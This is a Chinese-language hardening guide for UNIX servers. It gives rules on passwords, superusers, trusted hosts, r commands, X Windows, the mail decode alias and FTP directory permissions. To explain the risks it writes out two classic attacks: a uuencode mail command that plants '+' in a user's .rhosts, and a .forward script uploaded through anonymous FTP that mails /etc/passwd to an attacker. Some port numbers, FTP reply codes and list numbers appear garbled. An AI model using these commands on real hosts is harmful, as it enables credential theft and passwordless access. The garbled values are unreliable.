随着计算机在各行各业应用的深入和普及, 各类社会、经济、政治、国防等重要信息大量的在计算机中存储和网络中传输。 计算机信息系统已经逐步成为整个国家政府机构运转的命脉。 社会的计算机化产生了一种新的社会资产, 而这个信息资产由两部分组成一部分是计算机信息系统资源-各种硬件、软件、固件以及相关文档资料、配套设备、设施、系统服务等;另一种则是系统生产和拥有的、存储的电子信息资源, 可能包括统计报表、科技资料、设计图纸、实验数据、各类计划、决策等。
信息安全按其载体类型, 主要分为网络安全和主机安全。 网络安全控制上网拥护能安全可靠地到达网络什么地方以及如何传输, 访问哪些数据以某种方式等等。 而主机安全则控制系统用户能否进入系统以及进入后能访问哪些资源。 这其中包括操作系统安全、应用程序安全、数据安全、用户安全等。
目前国内外主流的服务器如IBM RS6000/HP N4000等均采用UNIX系统来做为其应用的平台, 如ANSOFT/Mentor/UG等大型工程用软件也都采用其做为其主要开发平台。 本人在和政府、军工等客户长期的沟通过程中发现, 此类服务器通常处于一个非常重要的位置, 却在安全性上很容易被忽视。 于是如何解决此类UNIX主机的安全问题, 尽量的降低安全风险就成为了一个不可不说的话题。
1 口令安全性规则
通过口令进行身份认证是目前实现计算机安全的主要手段之一, 一个用户的口令被非法用户获悉, 则该非法用户即获得了该用户的全部权限, 这样, 尤其是高权限用户的口令泄露以后, 主机和网络也就随即失去了安全性。 系统管理员以及其它所有用户对口令选取应采取负责的态度, 消除侥幸和偷懒思想。 具体来说应遵循以下一些规则:
口令长度不要小于6位, 并应同时包含字母和数字, 以及标点符号和控制字符。
口令中不要使用常用单词(避免字典攻击)、英文简称、个人信息(如生日、名字、反向拼写的登录名、房间中可见的东西)、年份以及机器中的命令等, 不要在不同系统上, 特别是不同级别的用户上使用同一口令。
定期改变口令。
系统安装对口令文件进行隐藏的程序或设置(例如Shadow Suite for linux)。
系统配置对用户口令设置情况进行检测的程序, 并强制用户定期改变口令, 任何一个用户口令的脆弱, 都会影响整个系统的安全性。
2 超级用户唯一性规则
超级用户对于系统的一切文件都有进行所有操作的权利。 但是最大的自由相应地也需要承担最大的风险, 如果超级用户权限被黑客得到, 将对整个系统带来毁灭性的打击。 为了减少超级用户被破译的可能性, 必须将系统中多余的超级用户删除, 在一个系统中只存在一个超级用户是每个系统管理员必须遵守的原则。
超级用户可以从/etc/passwd文件中查出, 超级用户的user ID为0, 但是group ID稍有不同, 在不同的系统版本里分别有两种形式:0或1。 当/etc/passwd文件中有多于两个用户项为:用户名:x:0:0或用户名:x:0:1时, 就必须遵照唯一性规则进行改正。
3 禁用Trusted主机(被信任主机)规则
在实际工作中, 系统管理员为方便与其他主机进行数据传输、软硬件资源共享和r服务(如rlogin、rsh等远程系统调用命令), 往往在/etc/hosts.equiv文件中设置远程主机名, 以此确认该主机为Truseted主机。 这样, 一个被信任主机可以不需口令地访问系统及调用r服务。 更有甚者, 某些系统管理员在/etc/hosts.equiv文件内设置"+"符号, 虽然这个参数可以方便所有远程访问, 但同样方便了黑客。 因为这会使任何一台主机上的任何用户都可以不需口令地访问系统, 对系统安全造成很大的损害。
同样, .rhosts文件也提供了Trusted主机和r命令访问功能。 但它比/etc/hosts.equiv文件可能会导致更大的安全漏洞。 因为系统内的任何用户都可能在各自的$HOME目录下创建该文件。 那么.rhosts文件中指定的远程主机上的用户在以该用户名登录本地主机系统时, 不需口令认证。 特别是在.rhosts 文件内设置"+"符号的情形, 更会使任何一台主机上的任何用户都可以不需口令地访问本系统的这个用户, 从而导致安全漏洞的出现。
为安全计, 如果无特殊需要, 应该清除一切Trusted主机相关配置。
4 禁用r命令规则
r命令是由Berkley开发的一系列命令软件, 由于这些命令如rlogin、rsh、rcp、rdist等均以"r"开头, 因此统称为r命令。
r命令固有的弱点包括:任何口令都是未经加密的, 如果有人对网络进行窃听, 很容易发现口令;整个r命令对话都是未经加密的, 对话中的每一个字符(包括口令)很容易被记录下来;系统管理员为管理方便, 经常使用rlogin等命令从远程登录来调试Web服务器的设置, 形成潜在的安全漏洞。
为安全计, 如果无特殊需要, 应该在路由器上或主机/etc/inetd.conf文件内过滤掉5110、513和514(TCP)端口, 这样可阻止主机外部用户使用r命令。
5 禁用X Windows 规则
X Windows系统是一种客户机/服务器结构的窗口系统, 每个拥有显示设备的主机系统都可以作为服务器, 并可接受另一个主机系统作为其客户。 它的运行模式是:程序在客户机系统上运行, 而用户界面却显示在服务器的显示设备上, 客户机通过网络把应该显示出来的内容传送给服务器, 服务器则把用户的输入通过网络传送给客户机。
和r命令一样, 所有的X Windows 传输内容都是不加密的, 并且它的身份验证功能也不够强大, 容易丧失作用(如"xhost +"命令)。
为安全计, 如果无特殊需要, X Windows设置可以认为是不必要的。
6 禁用/etc/aliases中的"decode"别名规则
如果系统管理员没有将/etc/aliases文件内以decode别名起始的一行注释掉, 那么该主机允许decode别名。 若用户zy主目录(如/export/home/zy)下的 .rhosts文件对daemon(smtp服务器通常以daemon用户身份运行)可写, 即有:
sun%echo "+" uuencode /export/home/zy/.rhosts mail decode@ngcc.com
在该例中, 本地的uuencode程序生成一个编码流, 文件名为"/export/home/zy/.rhosts ", 内容为一个"+", 并作为电子邮件发给ngcc.com上的decode别名。 ngcc.com收到该邮件后, 把这个编码流重定向到解码程序uudecode, uudecode则恢复文件内容, 并试图把它存为/export/home/zy/.rhosts。 如果daemon对/export/home/zy/目录有写权限, 则上述命令执行成功。 于是/export/home/zy/.rhosts中就出现一个"+", 这正是攻击者需要的。
为安全计, 应该禁用/etc/aliases中的"decode"别名。
7 审核文件和目录权限规则
(1)FTP的根目录
FTP的根目录不同于主机系统的根目录, 所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件, 但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来, 这就会给黑客以可乘之机。
FTP的根目录是在系统的/etc/passwd文件中指定的, 也就是用匿名FTP登录到主机后的起始目录。
例如:事先编写forward_sucker_file shell脚本, 内容为:
sun% cat forward_sucker_file
" /bin/cat /etc/passwd sed 's/^/ /' /bin/mail me@my.e-mail.addr"
通过FTP将forward_sucker_file脚本传送到目标主机(如ngcc.com)
sun% ftp ngcc.com
Connected to ngcc.com
10100 victim FTP server ready.
Name (ngcc.com:zy): ftp
331 Guest login ok, send ident as password.
Password: [输入电子邮件地址]
1030 Guest login ok, access restrictions apply.
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (108 Kbytes/s)
ftp> quit
将passwd文件内容发送到黑客邮件地址:
sun% echo test mail ftp@ngcc.com
如果匿名FTP主目录可写, 可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件, 那么当该用户收到邮件时, 就要视".forward"的内容进行转发。 如果".forward"的内容为一些电子邮件地址, 该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令, 则该邮件的内容被重定向到此命令。 此处, 命令为:" /bin/cat /etc/passwd sed 's/^/ /' /bin/mail me@my.e-mail.addr", 实际上对重定向过来的作为输入的邮件内容没有做任何处理, 而是把/etc/passwd(为了防止被安全机制过滤, 先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。 因此, 在投放了这样一个".forward"文件后, 再随便发一封电子邮件给victim.com上的FTP用户, 通过"转发"功能, ngcc.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上。
(10)其他文件和目录
确保没有其他文件和目录被FTP用户或所在的组拥有所有权(ownered by ftp account and ftp group);否则, 黑客可能借助特洛伊木马程序对合法文件进行替代, 构成漏洞隐患。
除了~/ftp/incoming目录外, 匿名(anonymous)FTP 用户在其他目录下不能创建任何文件和子目录。
文件和目录权限修改要慎重:对于系统或CERT组织推荐的有关特定文件的读写权限, 如/var/adm/utmpx和/var/adm/wtmpx文件权限应该为644, 不要轻易修改。 一般情况下, 拥有对任何文件和目录具有写权限的用户只能是超级用户, 进一步说, 如果一个文件或目录可写, 则可写者只能为超级用户
……